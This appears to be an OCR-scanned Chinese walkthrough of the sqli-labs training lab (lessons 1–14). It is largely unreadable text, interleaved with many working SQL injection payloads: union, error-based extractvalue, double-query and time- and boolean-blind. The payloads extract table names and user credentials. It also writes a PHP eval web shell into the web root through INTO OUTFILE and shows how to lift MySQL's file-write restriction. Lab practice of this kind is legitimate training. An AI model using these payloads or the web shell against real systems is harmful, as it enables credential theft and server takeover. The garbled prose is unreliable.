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Page-1(Basic Challenges)

Less-1 & P less2
GET - Error based - Single quotes - String A/ A GET - Error based - Intiger based
less-3 & #less-4
——— |
GET - Error based - Single quotes with twist - string & A GET - Error based - Double Quotes - String
#less-5
less -5 # -~
{ A GET - Double Injection - Double Quotes - String
GET - Double Injection - Single Quotes - String
.f Less -8
less -7 # -
GET - Dump into outfile - String A | A GET - Blind - Boolian Based - Single Quotes
less-9 # | ) ,’Less-lo

GET - Blind - Time based. - Single Quotes [

_SQL Injections )

Less -11 # A ]— \
POST - Error Based - Single quotes- String i II I
less-13 & | I. \
POST - Double Injection - Single quotes- String - with twist £ |
less -15 #
POST - Blind- Booliantime Based - Single quotes &/ ||
Less-17 ,f |
POST - Update Query- Error Based - String &
Less-19 ,’

POST - Header Injection - Referer field - Error based

Less-21 ,’ ,’

A GET - Blind - Time based - double quotes

,’ Less -12
A POST - Error Based - Double quotes- String - with twist
,f Less-14
A POST - Double Injection - Single quotes- String - with twist
,f Less - 16
2\ POST - Blind- Boolian/Time Based - Double quotes
,f Less -18
A POST - Header Injection - Uagent field - Error based
,f Less-20
A POST - Cookie injections - Uagent field - error based,
Less-22

POST- Dump into outfile - String A

Less-1 GET - Error based - Single quotes - String(# T 4%

o Jk—: FLUNIONB&HEMIEAN

WMARSS, Wk, T B

® 127.0.0.1/sqli-labs/Less-1/?id=0"

Welcome
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "0" LIMIT 0,1" at line 1

A Future Editions

RIGETH 5| SR HEN)

LN 0 @

33

RIEREEE B, 7T UL S S A\ 2 00 P9 A A7 TR B — X 8.5 5 AP ],

A EATMARESIEEH BB E RN: select ... from
1] L& F sqli-labHless-1Hphp X4 AT AE B, FREE—3L,

... where id="1’


http://127.0.0.1/sqli-labs/index.html#fm_imagemap

ZRNSBEAZRT, HEITHBEEE.

ER id=FEE#mH

18 £ payload

?id=-1"' union select 1,2,database() --+

5 3)'security’ FE 4
« @ ® 127.0.0.1/sqli-labs/Less jion select 1,2,group_concat(table_name) from in! - O W tEF YN e =

Welcome
Your Login name:2
Your Password:emails,referers,uagents,users

&R payload

?id=-1"' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=databas

=3 , BHRusersfHH P HIER

1854 (ZB) payload

?id=0@' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'

&« C @ @ 127.0.0.1/sqli-labs/Less-1/2id=0" union select 1,2,group at(column_name) from - O ¥ 5 vy N @ & =

Welcome
Your Login name:2
Your Password:user _id,first name,last name,user,password,avatar,last_login,failed _login,id,username,password

1% {Epayload

?id=0' union select 1,2,group_concat(username,0x3a,password) from users--+



Ox3a: OxZt+ Ni#tflinE, 3af+d#tH 58, Rascit "', HLLoEpaswordflusername.

<« C @ ® 127.00.1 o O Y INED @ & =

i
il

Welcome
Your Login name:2
Your Password:Dumb:Dumb,Angelina:|-kill-
you,Dummy:p@ssword,secure:crappy,stupid:stupidity,superman:genious,batman:mob!le,admin:admin,admin1:admin1,admin2:admin}

FET: FLREREAN
o+ 45 & payload

?id=1' and 1=1--+ //1IEH
?id=1' and 1=2--+ /1R

&« C o @ 127.0.0.1/sqli-labs/Less-1/?id=1"and 1=1--+ v e @ Q‘ = v INED @ & =

Welcome
Your Login name:Dumb
Your Password:Dumb

IR AT TIRE BTN,
FRid=1E#E

1% & payload

?id=1' and extractvalue(1,concat(©x7e, (select group_concat(table_name) from information_schema.tables where

<« ¢ ® ‘Ci} [127.0.0.1/sqli-labs/Less-1/?id=1" and extractvalue(1,concat(0x7e, (select group_concat(table v =+« @ 1’;‘?‘ B= v IN 0 @ & =

Welcome
XPATH syntax error: '~emails,referers,uagents,users’




1854 (FB) payload

?id=1"' and extractvalue(1,concat(@x7e, (select group_concat(column_name) from information_schema.columns whe

&« © ® 127.0.0.1/sqli-labs/Less-1/?id=1" and extractvalue(1.concat(0x7e,(select group_conca v

ol
it

Y N @ & =

Welcome
XPATH syntax error: '~user_id first name,last name,us’

RRBA TEER

f#F and column_name not in (‘'user_id','first_name','last_name','user','avatar','last_login','failed_login') 5k &7~ H

i -

?id=1' and extractvalue(1,concat(@x7e, (select group_concat(column_name) from information_schema.columns whe

1% {Epayload

?id=1"' and extractvalue(l,concat(@x7e, (select group_concat(username,0x3a,password) from users)))--+

&« cC o ® 127.0.0.1/sqli-labs/Less-1/?id=1" and extractvalt oncat(0x7e,(select group_conca v @ W vy INED @ & =

Welcome
XPATH syntax error: '~Dumb:Dumb,Angelina:l-kill-you,D*

[F 43 F not in &R HAth B

?id=1"' and extractvalue(l,concat(®x7e, (select group_concat(username,®x3a,password) from users where usernam

FHEE=: sqmapT EHZIEAN

sqimap&eid&H F1-10/8, HAhEiRid, sqmapfIfERA#RE, REAMEXEST, BEEXRFERLEMEsl
EANR AL

UEH = HATEE.
ENLE K.



Less-2 GET - Error based - Intiger based (3 T 4R FIGETE R N)
WMANETS, WR\REE EFHERITRMAR NS ER AN HEABBERES, Wl HsFREN,
e, EE—Bhid=1EHMET 5, HERRFAZEMITT, THER.

Less-3 GET - Error based - Single quotes with twist string (3 T 4% {2 I GETH 5| SR FHFIEN)

BMNESS, RIEREESHEENMARNEFERE X B3 SMEFES ST, FHE—-TEIREAELSEF
BERRHALE, Fnselect ... from ... where id=('1") ..., FEE—EHid=1"HEE#AET SML) , HERFAZLH
77, AEER.

R, BEBEEERCBHE KphpsSiE4), MLEER, WEBEsqiENREREGHBIK.

index-2.html_files 2014/11/1 3:10 g
index-3.html _files 2014/11/1 3:10 iR
Less-1 2014/11/1 3:10 iE
Less-2 2014/11/1 3:10 e
Less-3 2018/8/18 21:09 It
Less-4 2014/11/1 3:10 iE
Less-5 2018/8/18 21:21 gl
Less-6 2018/8/1915:19 It
Less-7 2018/8/20 13:51 iE
Less-8 2018/8/20 15:32 gl
Less-9 2018/8/2113:13 It
Less-10 2014/11/1 3:10 iE
Less-11 2018/8/21 13:56 gl
Less-12 2014/11/1 3:10 It
Less-13 2014/11/1 3:10 i
Less-14 2014/11/1 3:10 e
Less-15 2014/11/1 3:10 It
less-16 2014/11/1 2:10 itk

Less-4 GET - Error based - Double Quotes - String (3 T 42 KIGETW 3| S FZ&FHEN)
MINEF]S, THTEMZRA,

BIANG] S, TR,

ARYE 1R 5 S AT PR AT TN B P B B B — BAXL 5| 5 AR E 5

¥4 —T: select... from ... where id=("1") ..., EHE—BH1EHEKIG]SEENEI S MALLT .
AEBR

Less-5 GET - Double Injection - Single Quotes - String (WX A\ GET# 5| 5 /K HEN)



&« 1A ® 127.0.0.1/sqli-labs/Less-5/?id=1 %4

o
B

noHDee& =

Welcome
You are in

BIREMREERE, B RMMERM/REEE. REMEAN. HEEEREET
T4 38Uk R (A BB R B T
http://127.0.0.1/sqli-labs-master/Less-5/?id=1" and sleep(5)--+

KA RIER, HWHABMIER. EHTROBEAESER, RIVRBEREERKE, KlEEL, R4, 54, U
BB

A /R RURTR 18] SE 3R 25 2 WK Hsqlmap % B .

HEABARRETE, FOAEERE, RENBERAFER RN, RAEREN S mBRmER, HE
BENBI

— LTV AR TE AR IE W
TE—: WHEERRFTHEA:

IFEEIR B F THEAN, EMAER, SiREEER. dXhE, XAFRE, 7] CLED 3 55 H R R n ST
BIEOL, (HAId IR H A 8 B8 A 5 T LR

I ) % 3R &Y AR 45 2 payloadiZ O 3843 B #4 3 AH [H)
AJ5iEHpayload = ?id=1"and if(# 4 & payloadiZ L& 4,sleep(5),1)--+
12 £ K payload

?id=1"' and if(length(database())=8,sleep(5),1)--+

<« X @ 127.0.0.1/sqli-labs/Less-5/2id=1" and if(length(database())=8 sleep(5),1)-- +

e
A

noHOeee& =

Welcome

B AEIR, R EE KNS
18 & % payload

?id=1"' and if(left(database(),1)="s',sleep(5),1)--+



<« ¢ @ ® 127.0.0.1/sqli-labs/Less-5/?id=1" and if(left(database(),1)="s'sleep(5).1)--+ e @ W 25 NGO H@& =

Welcome

SQLI DUMB SERIES-5

BB ER, BIEES—FE/Rs, TR nleft(database(), F /KB )P R FHKE, %5 H1D AR
T—ANFRF, EMILER SR . &% 15 2left(database(),8)="security’

18R % payload

?id=1"' and if( left((select table_name from information_schema.tables where table_schema=database() limit 1

B R EFAWANNER, KT Elmit 3,1 88 Huser® 4 Ausers.
1#% 4 payload

?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),

BAZRAEEER, DUREBEFTENEE, Bklimitx,1 FHxE #Hpassword BEERSF, luckyf£limit 3,1
fIEH B2 3 T password%l, RIRERITEEE Wusername , X —AMucky, T RBBHFBRIE.

12 (& payload

?id=1' and if(left((select password from users order by id limit ©,1),4)="dumb' ,sleep(5),1)--+

?id=1"' and if(left((select username from users order by id limit ©,1),4)='dumb' ,sleep(5),1)--+

IRidHE T, XEEE TR &R limit WOFF 46 BT BREA MR 2R L TR 2 — N P 4 Fdumb, Y
dumb, TEEEME, mysqlxi KNSR, BT MRAHTE ZDumb & Zdumb.

A THEKE UV BB, EERRTAE, RIOKRN, Mz, BZ2SWAERAREM EEL—
B, BIJLRE T RERE (SHETE) , BMER, BAMERAFEXTFIENEBERER, SWERLINT
T, MHBRNKF R RIS, Ko RREE R IEBRATN S BRI R R B 3R

Pt AL AE B8 2 O FE AT A A b &3 AR G .

XMESHNTE, RELM. sqiEN, AEEE, HRAsqmap.

TE=, MRBFITEA:

EARBMENT, EFBEE, #HREFGEE, UHAKEZTRE, ERid=1

F Ty NB AT {3 F 1 fnleft((select database()), 1)<t X L = 4> B3R 7 VA PROd IR B

# £ payload

?id=1' and left((select database()),1l)='s'--+



Welcome
You arein..

G =% = OREEE (Oaess Cue OmrF = RE 8w @ Hacksar 8 e %
Encryption ~  Encoding ~  Other ~ HackBar v1
@ Load URL http://222.27.227.209/sqli-labs/Less-5/7id=1' and left((select database()),1)<'t'—+

it 1101

Welcome

o =% BHE OBESE (eeEs Cus Omr =mMs 8w @ Hacksar B e x
Encryption v+  Encoding + Other ~ HackBar v1
@ Load URL http://222.27.227.209/sqli-labs/Less-5/?id=1" and left((select database()),1)>"t'--+

AUESEEE, M<tBEE.
B 4 5 1) FE 44 Nsecurity

1% & paylaod

?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 1,1),

Blimit x, 1 Fleftoh (AL SR & B, 1BAE B3 —5k R Nreferer, X T7ES =KR B Bluser®, & Nusers.
2% % payload

?id=1"' and left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)=

5E [ SR 1 ' password A 7 B 4, B R BIZEANF B Npassword, [FEEEF ® B usmame, /&K
T, BTRAFBERBEIHNFZRMERTET

1% 7 Bpayload

?id=1' and left((select password from users order by id limit ©,1),1)="'d' --+

iD=

?id=1' and left((select username from users order by id limit ©,1),1)="'d' --+



BIRidHE T, XFE T XA, FRlImit NOFFS. &5 Bk B — N A 4 Fdumb, #iddumb, FEEER
&, mysqlXt K/ AU, BT LR A13E & Dumb i& & dumb.

AR B E 1 OB st B F TIENRBRG, LAU8 18R

J¥k=, f#Hconcat® & R

Z%E% 8 http://www.2cto.com/article/201303/192718.html

A3, A RERBEHTIEANT RN, SEEREEFER —BIERER.
bE B count B %5 T 4 SR AE A 2 B A B S BB W) — 30 M R BB k.

%l tnselect count(*), concat((select version()), floor(rand()*2))as a from information_schema.tables group by a;

EWEIEFERRA, FAEphpmyadminH il

‘ . #1062 - Duplicate entry '5.5.531" for key 'group_key"

HEHIREE security i&fT SQL Eifl: ©

select count(*}, concat!({select version')), floorirand()#*2))as a from information_schema. tables group by a;

A UEBPRERE SR HIR T RAES . HEENER, HRER, - HRE, A—AIRERRSHI
FEREREEF. RIEAZU, BTHEFANEHERONA, THHEALE,

payloadfEconcat()+ #4i&

18 £ payload

?id=-1"'union select count(*),count(*), concat('~"',(select database()),'~"',floor(rand()*2)) as a from inform

//8E

?id=-1"'union select count(*),1, concat('~"',(select database()),'~"',floor(rand()*2)) as a from information_s

[ ERARTTERA NN, FREAHR

Welcome
Duplicate entry '~security~1' for key 'group_key'

SERIES-5

1% F 7 payload

?id=-1"' union select count(*),1, concat('~"',(select user()),'~"', floor(rand()*2)) as a from information_sch

18 3% % payload

?id=-1" union select count(*),1, concat('~"',(select concat(table name) from information_schema.tables where



Eeklimit x,1 FTLAE IR B, HBluseriX AR, FEMI'EfF K usernameflpassword
%% 4 payload

?id=-1"' union select count(*),1, concat('~"',(select column_name from information_schema.columns where table

Beklimit x,1 ATLAIE 54, K EBlusernamefpassword
1% ¥ Btpayload

?id=-1" union select count(*),1, concat('~",(select concat_ws('[',password,username) from users limit 1,1),

Welcome

Duplicate entry '~I-kill-you[Angelina~0' for key ‘group_key"

Elimit x,1 7 LB R xS P fpasswordfllusername (‘TR 4BEAF)

ENGS

Less-6 GET - Double Injection - Double Quotes - String (WX A GETX 5| 5 F&FREN)

WESEZRFREN, E—BBR5 SEURNG SMal LT WA BRI MNEEREMTF TEE. RERKN
FLEHES#Fsqmap, FHHF|Hconcat()/LEA % .

SBRMGE LR, NEHFR.

Less-7 GET - Dump into outfile - String (5 X GETE/AREN)

JURZR, AEBHERFEERT, BELFEMHE: less 7 GET - Dump into ouftfile - String (5 SX4GET
FRREND

FrURMEF S REVRITT, T AHREless-2BERIEANERRE, HEIH.
XBEEANDYRE:

winserverfJiisER A B 42 c:\Inetpub\wwwroot

linux#)nginx— M 2&/usr/local/nginx/html, /home/wwwroot/default, /usr/share/nginx, /var/www/htm&s
apache t.../var/www/htm, .../var/www/htmi/htdocs

phpstudy #t#&...\PhpStudy2018021 1\PHPT utoria\\WWWW\

xammp i A2 ...\xampp\htdocs

payload

Less-2/?id=-1 union select 1,@@basedir,@@datadir --+



<~ c o () 222.27.227.209/sqli-labs/Less-2/?7id=-1 union select 1,@ @basedir,@ @datadir -+ Vo O Q‘ by N0 @ & =

Welcome

Your Login name:F:/WhiteFlie/PhpStudy20180211/PHPTutorial/MySQL/
Your Password:F:\WhiteFlie\PhpStudy20180211\PHPTutoria\MySQL\data\

F Aless-7

payload

?id=1')) union select 1,2, '<?php @eval($_POST["cmd"]);?>"' into outfile "F:\\WhiteFlie\\PhpStudy20180211\\PH

php# — R IE R AL ERET .

ERTXERBAENHA \

<« cC @ ® ?>'into outfile "F\\WhiteFlie\\PhpStudy2018021 w i nNEH @ & =

Welcome
You have an error in your SQL syntax

BREIZRE, HEEEAMXAHFCLEATphp, HTRFERII(ETENTUSGIFRL—T, EmailsiR)E
#—T.

ERZ AR AN ST, METEIT T, SWTEEARE.

Huhik: php—RTEARDKIMhE, JETH K DL BRRIA S KpostE 5 Kjemd, 4R A HAh 04

&« c o sqli-labs/ttt.php v O W = N b e & =

1 Dumb Dumb 12
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I $RECYCLE. BIN

I} BaiduNetdiskDownload
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12 CloudMusic

|20 jiendanserspy_png

I MyDownloads

I PythonProject

I pythonreptile_from_gi thub
[]scmm as

Il System Yolume Information
I WhiteFlie

() B~ e

O=

[ 0

[j ¥ 018-08-19 09:36:28
Q oyOcse

[] D#na-0s—06 09:32:31
g input. txt

[] Metasploi tsOwdus. ¢ 3ppdf

nssr‘rar

A

20180729 13:08:33
2018-08-01 10:41:50
2018-05-16 02:54:32
2018-08-02 08:45:45
2018-05-12 11:60:24
2018-08-02 10:11:26
2018-05-20 03:12:48
2018-08-15 07:50:44
2018-08-19 03:17:22
2018-07-30 05:39:43
20158-05-04 05:00:10
2018-08-06 09:54:26
2018-08-19 07:17:12
2018-058-05 09:30:44
65536

2018-08-06 09:32:10
4096

2018-04-12 04:57:44
2018-07-23 03:02:11
2018-08-13 01:06:37

8192
65536
16364
8192

L%

0777TllG. . .

4096

0777code. .

496609
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EREL
Bt
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arTe
arfe
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arTe
arfe
aree
aree
arTe
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aree
aree
40960777
arfe
2018-0. ..
0666
0666
0666

B [E] s8I
Fihzeal

Typel

& gt

S

D - ﬂ x
FHf— 2018-08-20 L BIH

UTF+8

AR T AFCETFRREN, LFRERT, WRAEM Ephpmyadminfi/G &, FHEGEMEIOS, A
LB BRBOENE G, WE8HEAIF,

REGSTE:

FphpmyadminfsqlH #AT M54 :

use test; //EHEEIWENtest

create table test(bbb varchar(64)); //fEHEETEIE—PEtest
insert into test values("<?php @eval($_POST['cmd']);?>"); //fEtest N —2EE

<?php @eval($_POST['cmd']);?> select * from test into outfile

—AERG B //ftest P RIBIE S H Blphp X

phpMyAdmin

@ 8 8 @0

BN AARREEN I

g [sal

- =

B 2 SE =8N S BEE

= RE S EE O B = R

v MySQUSEINEIFSESE (T4, (EER 00010 )

RIEHRTTEE T
HEE H#EMsqmapii th R FT LK, AEKR.

FBEY— T XA T5 T Emysql¥idi BT & secure-file-privE SCHRUR, 7 U8B AT
KRR, RBEY—THE, TEEE, FPRERGEERAMMEZTR,
R8BI phpstudy, BiE xammpid &t B R3S B mysqlic B 3o
BEAmysqlZ 2 H3, HBImy.ini &k B fsecure-file-priva

MR RIME Hsecure_file_privixMET, HEHREHM—NZHIEI.



innodb thread concurrency=8
innodb thread concurrency=8
4 |innodb thread concurrency=8
innodb_thread concurrency=8
innodb_thread concurrency=8
innodb_thread concurrency=8
secure-file-priv =""

NN

LW e,
N (

ARG S HR—AXHBENE, SANHXFBEESBRXIMBET.
R i) FR PR S BAEAC B (] ), BRAEEIX YR, ihBARH D ET B

Less-8 GET - Blind - Boolian Based - Single Quotes (fi /R #l #8.5]| 5 GETE #E)

BE A TFRE—V, ZRAEER, &2 T, fREEE, 8515, d=1EE, HigR3ISAEE, HE—
TYAERA A /R B payload ?id=1"'and 1=1 -+ BT, iEHKET .

<« C o ® 127.0.0.1/sqli-labs/Less-8/2id=1"and 1=1 —+ ve o nWEHe e =

Welcome
You are in

Mt —— K, Flesss5—HEH), RYEE AW,
A LT > < ELE R R/ I AR B

% £ payload

?id=1' and left((select database()),1l)='s'--+

JE 4 K T f# B ?id=1" and length(database())=8--+ ¥, FEERZF, BL%,

B, J5 73 Bl B 4 7id=1' and left((select database()),8)="security'--+

1BR, BTEB, BE, RKEIE, MlessSFEk=, FLIEAFFpayload—H—F, FHEHER.
less5 k=, BB MEN—FERE

{BHREANHIE AN 4 concat R & REUXBHAART -

HEANTER

Less-9 GET - Blind - Time based. - Single Quotes (3 T i 8] [)GET!#. 5| 5 5 i)

AEBEATA, BERER£Zyouare ...



« Cc @ ® 127.0.0.1/sqli-labs/Less-9/?id=-1"and 1=2 -+ e @ T BE ¥y e &

Welcome
You are in.........

SERIES-9

Z B A EE, payload
?id=1"' and sleep(3) --+
ERid=1, XUHARIER, WHRENRDD, T REBHEHMTT .

XIE M I payloadigiE M s TR T ik — R — K, —SRERAZUR T, XEMS— TR, BF)L.

1% & payload

?id=1' and if(length(database())=4 , sleep(3), 1) --+

RI 24?id=1" and if(length(database())=8 , sleep(3), 1) —+If B R IEIR, FrilEE4K N8
?id=1"' and if(left(database(),1)='s"' , sleep(3), 1) --+

R BERUHAELE—NFRA'S

2k 22 4% 8% ?id=1" and if(left(database(),8)="security' , sleep(3), 1) -+

YiBA FE 4 'security’

1% & payload

?id=1' and if(left((select table_name from information_schema.tables where table_schema=database() limit 1,

fERlimit x,1 B ExNFRL, NIBWEEL R, H—ANRL Nreferer. &TF, EF=1FEDlusersZNME, B
REFAFERR.

1%+ Btpayload
5E [ JE i passwordflusername, XEBMAMET, FASEEHSHLERFEMT .

?id=1"' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),

?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 9,1),

RIEE4L, T4 DB FlpasswordFlusername, MAFEB AR AR BEH ZEH.

1% {H payload



?id=1' and if(left((select password from users order by id limit ©,1),4)="dumb’' , sleep(3), 1) --+

?id=1"' and if(left((select username from users order by id limit ©,1),4)='dumb' , sleep(3), 1) --+

B E%E — /> Afusername: dumb, password: dumb. &Eklimit x,1 2k4EB@RE A P, FTIEALEIE,
7] LA F sqimap.

EANGH

Less-10 GET - Blind - Time based - double quotes (3 F i B X 5| 5 B %)

ETHEIKNG 5 EE, REE L —Bless-OK 85| SHAMNE 5, —HKEN, NEER.

o T1EI21KMIRAZ T R4 RpostBIfy, Fix B F kI %325 i HackBar
o SEZRRAUEEA, HERfE A burpsuitll@ ik, EtpostZ%, BrLlF A hackbar, A burpsuit.

Ry ] AN
ST H LT 4
O O=sx D=ss O@EsE (aess Cue OrF = RE 8 5% @ Hacksar g - x
Encryption v  Encoding v  Other ~ HackBar v1

@ Load URL
Split URL
) Execute

[ Post data [] Referrer
MY MM,\ \

e 1E postZ 4 N

er Agent [] Cookies

less11-less20% [l HE A9 & vl LA A ,",), K S 319, R\ RE A BrsqlEREANHEET K-

<« c @ ® 127.0.0.1/sqli-labs/Less-11/ % P L IND ® & =

Welcome

Username :
-

Submit

LOGIN ATTENE
FAILED

Less-11 POST - Error Based - Single quotes- String (3 T 45 {2 fIPOSTR B 5| 5 £ F R FEN)

AN E SEIABE, BAIENDumpH F f F Dump i3 & ki, AT LEZIBLT



® 127.0.0.1/sqgli-labs/Less-11/ e @ S

Welcome

Uermame:
password:

Submit

& i Tl
BER4T T hackbarik Fpostil AE 2, & HIBRAKINIA IR HIR BEIE

b OEsE Osfe OFds ((alssEE CHs 4wmE =ME 8 & @ Hacksar

Encryption ~ Encoding ~ Other ~
@ Load URL http://127.0.0.1/sqli-labs/Less-11/
4 Split URL
» ) Execute

Post data [ ] Referrer [ ] User Agent[ ] Cookies

Post Data uname=Dumb&passwd=Dumb&submit=Submit

BHIMR T —TF, hackbarizzuname=admin' and 1=2 --+&passwd=admin&submit=Submitf ;postZ# i},
Feand)& H & 1=1

WR1=2, #EEEM, NME R L, WEERRZHINRE SN T +5 &85 5 1 A 5
B CABL7E 2 B burpsuit, MBEH5SH.
o FEFkit

f Aadmin admin &k, IE, Ki%Frepeatertiih



! Burp Suite Community Edition v1.7.33 - Tempaorary Project
Burp Intruder Repeater Window Help

] Target [ ] Spider ] Scanner ] Intruder l Repeater [ Sequencer [ Decoder ] Comparer [ Extender l Project options | User options [ Alerts ‘

I ot I HTTP history l WebSockets history I Options l

| # | Request to http://127.0.0.1:80

| Forward | | Drop | Interceptis on { Action |
I Raw | Params ] Headers ] Hex | }
Send to Spider

POST Jsqli-labs/Less-11/HTTPA 1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WinE4; x64; rv.61.0) Gecko/20100101 Firefox/61.0 Send to Intruder Ctrl+l
Accept: text/html application/xhtml+xml application/xmlg=09 */*,q=0.8
Accept-Language: zh-CN,zh,q=0.8 zh-TW,g=0.7 zh-HK:q=0.5 £n-US;q=0.3 en;q=0.2 Send to Repeater Ctrl+R
Accept-Encoding: gzip, deflate Send to SECIUEI"ICEI’
Referer: http:#127.0.0.1/sgli-labs/lLess-11/
Content-Type: applicationi-www-form-urlencoded Send to Comparer

Content-Length: 38
Connection: close
Upgrade-Insecure-Requests: 1 Request in browser »

Send to Decoder

unames=adminépasswesadmindsubmit=Submi Engagement tools [Pro version only] »
Change request method

Change body encoding

Copy URL

Copy as curl command

Copy to file

TErepeaterd i@ i & i post ) S HHATIEN

* J7iE— extractvaluedlliXpayload

uname=admin' and 1=1 --+ &passwd=admin&submit=Submit //#&% %
uname=admin' and 1=2 --+ &passwd=admin&submit=Submit //AREZ R

DU HINUUST INSPSAIST YUY | S

I Target { ] Spider i Scanner I Intruder {Repeater W Sequencer { Decoder i Comparer { Extender N Project options | User options { Alerts ‘
[l
| Go | | <lv | Target: http://127.0.0.1 L| ‘7}

Raw | Params | Headers [ Hex | Raw | Headers | Hex | HTML | Render

POST /sqii-labs/Less-11/ HTTPA 1

Host: 127.0.0.1

User-Agent: Mozilla/S.0 (Windows NT 10,0, Wing4, x64; Geckor20100101 Firefox/61.0
Accept: textmtml appication/xhtimbxmi application/xmi;c 4=0.8
Accept-Language: zh-CN,zh; g=0.8,2h-TW,q=0.7 zh-HK;c=0.5 en-US;q=0.3 en;q=0.2
Accept-Encoding gzip, deflate

Referer: http:/1127.0 0 1/sgli-labs/Less-11/

Content-Type: application/x-www-form-uriencoded

Content-Length: 52

Connection: close

Upgrade-Insecure-Requests: 1

T

Welcome

u ' and 1=2 -+

LOGIN ATTE
FAILED

VLEAENAER, FERBHEEN, BT RNEZESEHTIE, Ltextractvalue()

1% £ payload

uname=admin' and extractvalue(1,concat(0x7e, (select database()))) --+&passwd=admin&submit=Submit

1% % payload



uname=admin' and extractvalue(1,concat(0x7e, (select group_concat(table_name) from information_schema.tables

REEE BRI LAR, JFEM Enotin (B IES| HALR T, .

uname=admin' and extractvalue(l,concat(0x7e, (select group_concat(table_name) from information_schema.tables

XERMRABEEZHIRT, MusersRMZZFHAFEEN, FIURITEANT P,
1#% 4 payload

uname=admin' and extractvalue(1,concat(@x7e, (select group_concat(column_name) from information_schema.colum

R, aTUBERRIEMIZ, BEREGIBRESS, A1 E|passwordfluername, FFiGH1E .

1% {H payload

uname=admin' and extractvalue(1,concat(@x7e, (select group_concat(username,0x3a,password) from users)))--+&p

[FIFEfE A not in 7] DL ) HoAth A -

uname=admin' and extractvalue(1,concat(@x7e, (select group_concat(username,@x3a,password) from users where u

| Go LN Target: http://127.0.0.1 _/" ?‘

Raw | Params I-Headers IE‘ \Q] Headers IE] m Render

POST Isqiabs/Less-11/HTTPA 4

Host 127.0.04

User-Agert: Mozilafs.0 (Windows NT 10.0, Winb4; x64; 51 0) Geckor20100101 Firefox/s1 0
Accept: text/html application/xhtmi+xmi application/xmi g=0.9, 8
Accept-Language: zh-CN,zhiq=0.8,zh-TW,q=0.7 zh-HK;q=0 5 en-US;ci=
Accept-Encoding: gzip, deflate

Referer: hitp:/127.0 0.1 isqi-labs/Less-11/

Content-Type: application/x-www-form-urlencoded

Content-Length: 132

Connection: close

Upgrade-Insecure-Requests: 1

T

Welcome

uname=admin' and extractvalue(1 concat(0x7e (select oroup_concat{username 0x3a password) from users)))-—+ 8passwd=admin@submit=Submit

o JiikZ BRA Eifjunion selectlliXpayload

uname=0' union select 1,2 --+&passwd=admin&submit=Submit

ERunameZiE iR, TRERBKEEHNE.



‘ Go | Sl | Target: I

Raw | Params [Headers [Hex | \ RawI Headers I Hex ] HTML ]Render]
20ST Isqli-labs/Less-11/HTTPM .1 A
Host: 127.0.01 r
Jser-Agent: Mozilla/s.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/81.0 erelcollle

Accept: texthtml application/xhtmi+xinl applicationfxmtg=0.9,,q=0.8
Accept-Language: zh-CN zhiq=08 zh-TW,q=0.7 zh-HK;g=0.5 en-US; 4=0.3,en ¢=0.2
Accept-Encoding: gzip, defiate

Referer: htp://127.0.0.1/sgli-abs/Less-11/

Content-Type: application/x-www-form-urlencoded

Content-Length: 57

Connection: close

Jpgrade-insecure-Requests: 1

Jname=0' union select 1,2 --+&passwd=admin&submit=Submit

Al AVEN o
ARG LR B A Junion selectiE N, FTAMFE:

1% £ payload

uname=0' union select 1,database() --+&passwd=admin&submit=Submit

Less-12 POST - Error Based - Double quotes- String-with twist (3 T 4 2 f X 5| 5 POSTR # & R A&
FIEN)

WG| SIREETEN

R RN %2 W UMER E—fpayload R 2B K G| S ANMEG 5, EREEFMANT, TRBEAEM--+IE
R %231 RH#H AT, BME T — FphpXft:

// connectivity
Suname='""'.S5uname."'""';

nsername, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
sresult=mysql query (5sql);
Srow = mysql_fetch_array (Sresult);

A LAE BsqlE #iE4):

@%sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd)
LIMIT 0,1%

W& —> BE FI & 18 AT B4Rk 4 i payload:
admin" and extractvalue(1,concat(0x7e,(select database()))) and "

&% admin = "admin" and extractvalue(1,concat(0x7e,(select database()))) and " "

FENJERRAR T -



@$sql="SELECT username, password FROM users WHERE username="admin" and extractvalue(1,concat(@x7e, (select

MG, REWR, FEEHRE, NMiZRRXFRE T, LRSS, fTUEE, #%TRtfconcat()FHiEE
Wik H:

1% & payload

uname=admin" and extractvalue(l,concat(@x7e, (select database()))) and " &passwd=admin&submit=Submit

&% payload

uname=admin" and extractvalue(l,concat(@x7e, (select group_concat(table_name) from information_schema.table

##%payload

uname=admin” and extractvalue(1,concat(@x7e, (select group_concat(column_name) from information_schema.colu

FIFEAE F not InE W B B ) HAdfE

##{H payload

uname=admin” and extractvalue(1,concat(®x7e, (select group_concat(username,'~"',password) from users))) and

TEZ, BREEAEM.

uname=0") union select 1,database() --+ &passwd=admin&submit=Submit

Flless-11—HEBAEH, AHEFKR.

TEZ, AR



Username : admin"

Password : | admin

You have an error inyour SQL syntax; check the manual that corresponds to your MySQL server version for the

right syntax to use near 'admin") LIMIT 0,1'at line 1

HUEH, MERMBAKBEZ N T —AMWG SHES.
& A & 7 e Y B Payload:

K5 : admin")#

EANGH

Less-13 POST - Double Injection - Single quotes- String -twist (POSTH.5| 53 XUEAN)
W R RET) FEr

RIAEEZEARIREESR , BREEFET

T, R

BREREERER T, WHARE, WREREEN.

#: Bl payload

uname=admin') and extractvalue(1,concat(0x7e, (select database()))) and ('

fEconcat() PGB HIER, EHE, Mless-12CL k2 AiHIRAERIEN—FE, REHKR,
k=, BREEE
DUNRT DARESEN, XAFERBRE, $E ST, 4 Flpayload:

uname=admin') and if(left(database(),1)='s"',sleep(3),1) --+&passwd=admin&submit=Submit

R XMZ AR —# T, AERR.

Less-14 POST - Double Injection - Single quotes- String -twist (POSTH#.5| 5 & XE N )



MANBPEEING S, REBEN, EEFATH

HiE—, SR
¥l payload

uname=admin"” and extractvalue(l,concat(@x7e, (select database()))) and " &passwd=admin&submit=Submit

TiEZ, HREREE
MEA, S

¥ payload
uname=admin" and if(left(database(),1)='s"',sleep(3),1) --+ &passwd=admin&submit=Submit
HEZ, RER

HAREHLE, S

¥ payload

